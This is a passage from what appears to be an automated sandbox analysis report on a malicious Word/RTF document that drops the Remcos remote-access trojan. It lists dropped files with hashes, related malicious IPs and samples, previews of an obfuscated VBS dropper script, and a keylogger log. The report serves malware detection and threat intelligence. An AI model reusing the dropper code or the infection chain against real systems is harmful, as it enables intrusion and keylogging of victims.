                    • 192.3.101.142
                    PRZELEW BANKOWY.xlsGet hashmaliciousUnknownBrowse
                    • 192.227.225.166
                    Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                    • 198.46.176.133
                    AWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                    • 198.46.176.133
                    waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xlsGet hashmaliciousGuLoader, RemcosBrowse
                    • 104.168.45.34
                    IRqsWvBBMc.exeGet hashmaliciousAmadey, VidarBrowse
                    • 198.46.178.145
                    file.exeGet hashmaliciousVidarBrowse
                    • 198.46.178.145

                    JA3 Fingerprints

                    ⊘No context

                    Dropped Files

                    ⊘No context

                    Created / dropped Files

                    C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                    Download File
                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):4760
                    Entropy (8bit):4.834060479684549
                    Encrypted:false
                    SSDEEP:96:RCJ2Woe5u2k6Lm5emmXIGxgyg12jDs+un/iQLEYFjDaeWJ6KGcmXSFRLcU6/KD:cxoe5uVsm5emdOgkjDt4iWN3yBGHydcY
                    MD5:838C1F472806CF4BA2A9EC49C27C2847
                    SHA1:D1C63579585C4740956B099697C74AD3E7C89751
                    SHA-256:40A844E6AF823D9E71A35DFEE1FF7383D8A682E9981FB70440CA47AA1F6F1FF3
                    SHA-512:E784B61696AB19C5A178204A11E4012A9A29D58B3D3BF1D5648021693883FFF343C87777E7A2ADC81B833148B90B88E60948B370D2BB99DEC70C097B5C91B145
                    Malicious:false
                    Reputation:moderate, very likely benign file
                    Preview:PSMODULECACHE............Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script...............T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

                    C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                    Download File
                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):64
                    Entropy (8bit):0.34726597513537405
                    Encrypted:false
                    SSDEEP:3:Nlll:Nll
                    MD5:446DD1CF97EABA21CF14D03AEBC79F27
                    SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                    SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                    SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                    Malicious:false
                    Reputation:high, very likely benign file
                    Preview:@...e...........................................................

                    C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\screensimplethingstohandlecream[1].gif

                    Download File
                    Process:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                    File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                    Category:dropped
                    Size (bytes):414450
                    Entropy (8bit):3.584852358792161
                    Encrypted:false
                    SSDEEP:3072:3HGOwf9YFlhNe4VTdRnTT8w4TWlrqivBgoWpuV3d/S7GpqrsomlkjiveR4nV:Zwf9YFJrqA
                    MD5:91143DE27AED4B3AE7741994BC065FAA
                    SHA1:85DFA644D5397B58383C94A4A898484A7FA5B8CE
                    SHA-256:63062215F38FDE4985340EC9F4FB8746320D830BE8E0C534AB3FBAE7D3E89F29
                    SHA-512:E8CADD0FAAB189CF64253D2D7EAEA5485224DB55958A842917696F418E8F1D18349ED8F6F6BF1BC916D646E3BAAA7E50C06F86094E30F30C619F3975473D22B2
                    Malicious:false
                    Preview:..d.i.m. .m.o.r.u.l.a. .....m.o.r.u.l.a. .=. .r.o.m.p.e.n.t.e.....m.o.n.o.p.s.o.(.".g.a.n.d.u.m.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".m.u.c.u.n.h.a.m.b.a.m.b.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".x.a.j.a.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".i.n.d.o.c.i.l.i.d.a.d.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".X._.H.e.l.p.U.r.i.s._.0.0.5._.0._.M.e.s.s.a.g.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".g.a.s.s.a.b.a.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".e.n.c.o.v.i.l.a.r.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".X._.H.e.l.p.U.r.i.s._.0.0.8._.0._.M.e.s.s.a.g.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".X._.H.e.l.p.U.r.i.s._.0.0.9._.0._.M.e.s.s.a.g.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".X._.H.e.l.p.U.r.i.s._.0.1.0._.0._.M.e.s.s.a.g.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".L._.H.e.l.p.U.r.i.s._.0.1.1._.0._.M.e.s.s.a.g.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".L.

                    C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\json[1].json

                    Download File
                    Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    File Type:JSON data
                    Category:dropped
                    Size (bytes):962
                    Entropy (8bit):5.013130376969173
                    Encrypted:false
                    SSDEEP:12:tklu+mnd6UGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zzkwV:qlu+KdVauKyGX85jvXhNlT3/7AcV9Wro
                    MD5:F61E5CC20FBBA892FF93BFBFC9F41061
                    SHA1:36CD25DFAD6D9BC98697518D8C2F5B7E12A5864E
                    SHA-256:28B330BB74B512AFBD70418465EC04C52450513D3CC8609B08B293DBEC847568
                    SHA-512:5B6AD2F42A82AC91491C594714638B1EDCA26D60A9932C96CBA229176E95CA3FD2079B68449F62CBFFFFCA5DA6F4E25B7B49AF8A8696C95A4F11C54BCF451933
                    Malicious:false
                    Preview:{. "geoplugin_request":"8.46.123.33",. "geoplugin_status":200,. "geoplugin_delay":"2ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7123",. "geoplugin_longitude":"-74.0068",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

                    C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{01C6C27F-A561-40CD-B0F2-2BC57BD07727}.tmp

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    File Type:Composite Document File V2 Document, Cannot read section info
                    Category:dropped
                    Size (bytes):8704
                    Entropy (8bit):5.14672630175377
                    Encrypted:false
                    SSDEEP:192:dKPfG2+tMQQLT5G0zNPX8UbQ2+tMQQLT5G0z:APxnQQpXzNPX8UPnQQpXz
                    MD5:554976CAE8A32BB525B7DF15A22BC28D
                    SHA1:29BB410945DA89833E91A5060AD5727263FF1B19
                    SHA-256:62B70FD7ECAEE45AE8DDCB6368983AC269D1EA3F4F529C7FD5C7AC427C41CCC0
                    SHA-512:C1C778DDE7F1D6CF2D6ADC2D5A15A944EB40221ED6BB78A532F9676585812EE5843823872F15105B08C618FB69E822ABAEA2323E71CF245A3F1E41B2D608EDDA
                    Malicious:true
                    Antivirus:
                    • Antivirus: Avira, Detection: 100%
                    Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                    C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{38DB9AD4-962B-4C32-8CAF-2BA2D60033FA}.tmp

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    File Type:data
                    Category:dropped
                    Size (bytes):17408
                    Entropy (8bit):3.616256452086467
                    Encrypted:false
                    SSDEEP:384:Eqz/FXVgwHOF6UdCB1/g5G0SvKw41zdFZ:EcdwF+z4pjZ
                    MD5:EEB4D8BCFAA2AD8CD48C0A38B7DD2D4B
                    SHA1:A951D0D18F4A438309E2AD4B29B1C59258B9CE7F
                    SHA-256:A1082F3CC663BB9D5DB3E80DE3444AD46978DEA24F9E5D4EEC609B9324D93107
                    SHA-512:C4ABFC3C5D00D321BDFC7A38DF54680F82B519445984AFF0939D8A0FF47AFC3F5DC493B7402E9BEB0B6E7368DFB4449C577B14BEA80ADE00EE94AD02D46F5A84
                    Malicious:false
                    Preview:............2.7.7.1.7.5.5.0.<.?.7.?.].?.4.).[.'.5.*.?.~.@./.0...$.?.5.|.[.%.5.|.<.%.!./.$.0.!.6.%.5.!.4.8.-.&..._.+.?.6.5.[.#._...%./.4.?.4...../._.?.)./.2.#.......+.$.?..._.4.].?.&.[.,.?.].5.%.?.&.?.?.~.;.(.......8...@...>.?.4.8.&.'.[.:.../.-.<.).:.;.1.$.-.6.4.$.2.?.5.5.0.4.?.:.*._.].?.?.?.%.%.?.?.6.[.!././.2.+.5.@...5.?.*.2.5.0.'.%.0.<.-.^.].9.'...`.(..._./.3.$.;...?.1.6.?.>.5./.|.0.0.9.?.!.@...^...8.&.7.!.?...%.*.).!.%.$...2.;.8.(.%.@.?.]._.(...].'.*.5.=.$.1.1.%.?.(.6.7.8.|.....*...~.!...?.~.(.=.`.'...?.^.@.+.:.#.+.5.$.7.?.7.).`...%.?.'./.>.|.[.0.6.>.!.9.^.(.;.+.(.?...?./.8.2.%.|.`.<.(.9.+.7.~...1.?.1.].@.%.<.2.^.2./...*.^.?.`._...?.[.^./.0.&.7.5.#.[.?.+.#.%.5.$.7.#.].?.4.1...~.2.=.=.8.'.7.|.3.'.?.2.`...$.3.?.?.^.?...4.<.=.%.8.:.].3.6.;.).:.5.|.7.+.4.*.].%.,.%.%.!.(.?.8.2._...?.:.|.$._.9.6.6.?.$.`.[.4.6.>.7.+.?.?.....@.%.:...`.?.+.?.8.3.%.2.&.?.).-.).1.6.;.?.6.,.[.!.=.3.'.7.;.1.].%.|.?...4.3.=.5.%.^.%.5.~._.4.6.>...,.`.).6.$.(.,.%.?.3.4.,.%._.%.&.].*.?.`.!.:.<.9.~.5.-.9.?.;.`.$.>.,.

                    C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{7BC26259-0221-47ED-A846-7986A7890A49}.tmp

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    File Type:data
                    Category:dropped
                    Size (bytes):1024
                    Entropy (8bit):0.05390218305374581
                    Encrypted:false
                    SSDEEP:3:ol3lYdn:4Wn
                    MD5:5D4D94EE7E06BBB0AF9584119797B23A
                    SHA1:DBB111419C704F116EFA8E72471DD83E86E49677
                    SHA-256:4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
                    SHA-512:95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
                    Malicious:false
                    Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                    C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B3842791-7763-4B44-9A3B-497568E5C9BF}.tmp

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    File Type:data
                    Category:dropped
                    Size (bytes):1536
                    Entropy (8bit):1.3586208805849453
                    Encrypted:false
                    SSDEEP:3:Iiiiiiiiiif3l/Hlnl/bl//l/bllBl/PvvvvvvvvvvFl/l/lAqsalHl3lldHzlb+:IiiiiiiiiifdLloZQc8++lsJe1MzZn
                    MD5:A22138B69DE1371D94D6E01CAE20AB62
                    SHA1:51FFDE7BFB4222DEFE92069D3D87DDC14048CFD8
                    SHA-256:B6B992D6FABA6BF6ABFC418C0DFE59D049471842563B6FFA3AB5B07329E17C51
                    SHA-512:1DCC7508565D6627797F8C7F38A11999649C74C3C10FEB6DDA448D05F1675EB8E085306C20F6D3D13984ED1B71DF0C8C2AE19C66613D11475FDCC292740926E8
                    Malicious:false
                    Preview:..(...(...(...(...(...(...(...(...(...(...(...A.l.b.u.s...A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................."...&...*.......:...>...............................................................................................................................................................................................................................................................................................................................................................................................................................................

                    C:\Users\user\AppData\Local\Temp\Notepo\logs.dat

                    Download File
                    Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):428
                    Entropy (8bit):3.4770258793113777
                    Encrypted:false
                    SSDEEP:6:6lVXNUO65YcIeeDAlOWArtSNombQOfxNaaDxbN2fBMMm0wHWAv:6lVdkec0WUyp50AtN25MMyHW+
                    MD5:5EC8FD93A1C1C36F178C2E4FCC510FEF
                    SHA1:8FAB0B3DC8529890ABF2BCE1FD9799D022EB0C5A
                    SHA-256:22CA2E08A60EB98573D2E01D01DD63EBF2844484536C0C559F42E6B355124734
                    SHA-512:EE4A5B3000DCE1BC3255DC7094E3B7DEFF1C9F9D0B510C43C195E0B757B57A6A70848F19803872BBCE78BDEC956B7DEDAABB79795F8AB9C59A6B4EBFD488ECDF
                    Malicious:true
                    Yara Hits:
                    • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\Users\user\AppData\Local\Temp\Notepo\logs.dat, Author: Joe Security
                    Preview:....[.2.0.2.4./.0.7./.2.6. .0.9.:.0.5.:.1.1. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].........[.e.r.t.h.i.n.g.s. .[.C.o.m.p.a.t.i.b.i.l.i.t.y. .M.o.d.e.]. .-. .M.i.c.r.o.s.o.f.t. .W.o.r.d.].........[.N.e.w. .T.a.b. .-. .G.o.o.g.l.e. .C.h.r.o.m.e.].........{. .U.s.e.r. .h.a.s. .b.e.e.n. .i.d.l.e. .f.o.r. .0. .m.i.n.u.t.e.s. .}.........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

                    C:\Users\user\AppData\Local\Temp\bhvA851.tmp

                    Download File
                    Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    File Type:Extensible storage engine DataBase, version 0x620, checksum 0x388c0319, page size 32768, DirtyShutdown, Windows version 6.1
                    Category:dropped
                    Size (bytes):21037056
                    Entropy (8bit):1.1390583444308016
                    Encrypted:false
                    SSDEEP:24576:OO1U91o2I+0mZ5lChHLcGaHqqnEXwPtofJIRH330nW/jMB1emX4UJlNd:OOEXs1LuHqqEXwPW+RHA6m1fN
                    MD5:22DCA7E1830F4B9744C3E846E2423AFF
                    SHA1:DB7CD422F57E30D9E825AD7F4F48795BAA893671
                    SHA-256:DD419AE9E131E4912BAA2F751814A447C4193ECAE89A9D78E87B02FA4A58E60A
                    SHA-512:798B6110E7729EE8E40D5E0EA336086FFA79E20E7D8172FB5CD3A19EFF5BD7B54A4F5287042F4F1DD21417693A4937AC11B41A33D1282525CACD4497E5AAD1FA
                    Malicious:false
                    Preview:8...... ........................u..............................;:...{.......|.......................................u..............................................................................................+............................................................................................................................... .......4....{......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                    C:\Users\user\AppData\Local\Temp\lskrghcp.4w4.ps1

                    Download File
                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    File Type:very short file (no magic)
                    Category:dropped
                    Size (bytes):1
                    Entropy (8bit):0.0
                    Encrypted:false
                    SSDEEP:3:U:U
                    MD5:C4CA4238A0B923820DCC509A6F75849B
                    SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                    SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                    SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                    Malicious:false
                    Preview:1

                    C:\Users\user\AppData\Local\Temp\mmsiqhwoqhbqrxshpqajxrsgsxt

                    Download File
                    Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    File Type:Unicode text, UTF-16, little-endian text, with no line terminators
                    Category:dropped
                    Size (bytes):2
                    Entropy (8bit):1.0
                    Encrypted:false
                    SSDEEP:3:Qn:Qn
                    MD5:F3B25701FE362EC84616A93A45CE9998
                    SHA1:D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
                    SHA-256:B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
                    SHA-512:98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
                    Malicious:false
                    Preview:..

                    C:\Users\user\AppData\Local\Temp\mupnrxxu.pb5.psm1

                    Download File
                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    File Type:very short file (no magic)
                    Category:dropped
                    Size (bytes):1
                    Entropy (8bit):0.0
                    Encrypted:false
                    SSDEEP:3:U:U
                    MD5:C4CA4238A0B923820DCC509A6F75849B
                    SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                    SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                    SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                    Malicious:false
                    Preview:1

                    C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\erthings.LNK

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 11 15:42:09 2023, mtime=Fri Aug 11 15:42:09 2023, atime=Fri Jul 26 12:05:00 2024, length=99423, window=hide
                    Category:dropped
                    Size (bytes):1004
                    Entropy (8bit):4.515418464070664
                    Encrypted:false
                    SSDEEP:12:8qsRgXg/XAlCPCHaXtBYB/5YXX+Wwh3Ij5icvbBIFhDtZ3YilMMEpxRljK2yTdza:8l/XTd24XvYe6Dv3qok7N
                    MD5:E0FBE05913B980365848CA18E611BCFC
                    SHA1:1DE0C01CC81DC661274325060FD825C199E914AA
                    SHA-256:E0B5EB0B3DEB39CCF173F765FA0546B336240A862D053170F1D6F123B2F0B502
                    SHA-512:AEC9B2B7DCFEE280036F4CD6572D82DD314EFAE44589064A2A414F4276B92E78FAF12FCD89AA4223E3C94EF1ABAB475F594581025D5E53C9E64EB819FD0F6606
                    Malicious:false
                    Preview:L..................F.... ....m..r....m..r..._!Vl\..._............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......X.h..user.8......QK.X.X.h*...&=....U...............A.l.b.u.s.....z.1......WF...Desktop.d......QK.X.WF.*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....b.2._....X.h .erthings.doc..F.......WE..WE.*.........................e.r.t.h.i.n.g.s...d.o.c.......v...............-...8...[............?J......C:\Users\..#...................\\134349\Users.user\Desktop\erthings.doc.#.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.e.r.t.h.i.n.g.s...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......134349..........D_....3N...W...9.W.e8...8.....[D_....3N...W...9.W.e8...8.....[

                    C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    File Type:Generic INItialization configuration [folders]
                    Category:dropped
                    Size (bytes):50
                    Entropy (8bit):4.438562939644916
                    Encrypted:false
                    SSDEEP:3:M1jLSlm47LSlv:Mh8U
                    MD5:1996A38272B5E95C8BB5EC70ADBA821B
                    SHA1:457E71A73BBD55654895490EA52D58FCB781310D
                    SHA-256:B24AC6FDFCF40EE8DDF63BFFE3E7074B0602DB75FF1D6BCC65B668CE8D0FF346
                    SHA-512:78B7BA029EB27B5737FF9675D742A7328F1B647EA77A9E4318E89B35795162E83E79C8B91E09B6993A0D7DA6C8063AA862FADE77BF308B7756DFC0A94743F271
                    Malicious:false
                    Preview:[doc]..erthings.LNK=0..[folders]..erthings.LNK=0..

                    C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    File Type:data
                    Category:dropped
                    Size (bytes):162
                    Entropy (8bit):2.4797606462020307
                    Encrypted:false
                    SSDEEP:3:vrJlaCkWtVyYyBS0JilXMWvk1c6nlln:vdsCkWtIJiRk3l
                    MD5:C4615A023DC40AFFAEAE6CF07410BB43
                    SHA1:AAE1D68C4082CABF6AEA71C7981F32928CE01843
                    SHA-256:103F860A912CF17B87A169B2768635758E8A0B82EB986A0C42FEA974F91BCB1E
                    SHA-512:CD6975EAE1DA934094AC2516D095D50F2EE311CF549C8AEA2F3D65074B0DFC2908F72703B46A4C012358817289C76B15AC0E39EE359BCF39A45A8C912DCB2AAD
                    Malicious:false
                    Preview:.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

                    C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS

                    Download File
                    Process:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                    File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                    Category:dropped
                    Size (bytes):414450
                    Entropy (8bit):3.584852358792161
                    Encrypted:false
                    SSDEEP:3072:3HGOwf9YFlhNe4VTdRnTT8w4TWlrqivBgoWpuV3d/S7GpqrsomlkjiveR4nV:Zwf9YFJrqA
                    MD5:91143DE27AED4B3AE7741994BC065FAA
                    SHA1:85DFA644D5397B58383C94A4A898484A7FA5B8CE
                    SHA-256:63062215F38FDE4985340EC9F4FB8746320D830BE8E0C534AB3FBAE7D3E89F29
                    SHA-512:E8CADD0FAAB189CF64253D2D7EAEA5485224DB55958A842917696F418E8F1D18349ED8F6F6BF1BC916D646E3BAAA7E50C06F86094E30F30C619F3975473D22B2
                    Malicious:true
                    Preview:..d.i.m. .m.o.r.u.l.a. .....m.o.r.u.l.a. .=. .r.o.m.p.e.n.t.e.....m.o.n.o.p.s.o.(.".g.a.n.d.u.m.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".m.u.c.u.n.h.a.m.b.a.m.b.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".x.a.j.a.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".i.n.d.o.c.i.l.i.d.a.d.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".X._.H.e.l.p.U.r.i.s._.0.0.5._.0._.M.e.s.s.a.g.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".g.a.s.s.a.b.a.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".e.n.c.o.v.i.l.a.r.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".X._.H.e.l.p.U.r.i.s._.0.0.8._.0._.M.e.s.s.a.g.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".X._.H.e.l.p.U.r.i.s._.0.0.9._.0._.M.e.s.s.a.g.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".X._.H.e.l.p.U.r.i.s._.0.1.0._.0._.M.e.s.s.a.g.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".L._.H.e.l.p.U.r.i.s._.0.1.1._.0._.M.e.s.s.a.g.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".L.

                    C:\Users\user\Desktop\erthings.doc (copy)

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                    Category:dropped
                    Size (bytes):56734
                    Entropy (8bit):5.303454971364162
                    Encrypted:false
                    SSDEEP:384:323tHbrN79ozVzEFH3WmZDFq+v97EgxW3tYazUuBTwq+2wC5VLi6rM2K7C1r1sbp:323b3WmZDFzIEYeH2qC1r1m8hAZqCV
                    MD5:E84BE575D2857871F165C6F1F550F829
                    SHA1:5DCCBB325A78F90DEAEA85D5E977923AF3383AA1
                    SHA-256:40963F2E8E44D670F2A7593EFBC6821EBE7D01DC6E934BE430C64CD6E038622A
                    SHA-512:2F1948438763AF76894AF267DEF4FCB9B7BC12AC0CC7EE7776B6FCE51B0CC57F40CE8845DF7122D6C2DDC9497607381884C9737854B44908783EBBE8F337D13A
                    Malicious:true
                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1033\deflangfe1033\themelang1033\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\f37\fbidi \fswiss\fcharset0\fprq2{\*\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New

                    C:\Users\user\Desktop\~$things.doc

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    File Type:data
                    Category:dropped
                    Size (bytes):162
                    Entropy (8bit):2.4797606462020307
                    Encrypted:false
                    SSDEEP:3:vrJlaCkWtVyYyBS0JilXMWvk1c6nlln:vdsCkWtIJiRk3l
                    MD5:C4615A023DC40AFFAEAE6CF07410BB43
                    SHA1:AAE1D68C4082CABF6AEA71C7981F32928CE01843
                    SHA-256:103F860A912CF17B87A169B2768635758E8A0B82EB986A0C42FEA974F91BCB1E
                    SHA-512:CD6975EAE1DA934094AC2516D095D50F2EE311CF549C8AEA2F3D65074B0DFC2908F72703B46A4C012358817289C76B15AC0E39EE359BCF39A45A8C912DCB2AAD
                    Malicious:false
                    Preview:.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

                    C:\Users\user\Desktop\~WRD0000.tmp

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                    Category:dropped
                    Size (bytes):56734
                    Entropy (8bit):5.303454971364162
                    Encrypted:false
                    SSDEEP:384:323tHbrN79ozVzEFH3WmZDFq+v97EgxW3tYazUuBTwq+2wC5VLi6rM2K7C1r1sbp:323b3WmZDFzIEYeH2qC1r1m8hAZqCV
                    MD5:E84BE575D2857871F165C6F1F550F829
                    SHA1:5DCCBB325A78F90DEAEA85D5E977923AF3383AA1
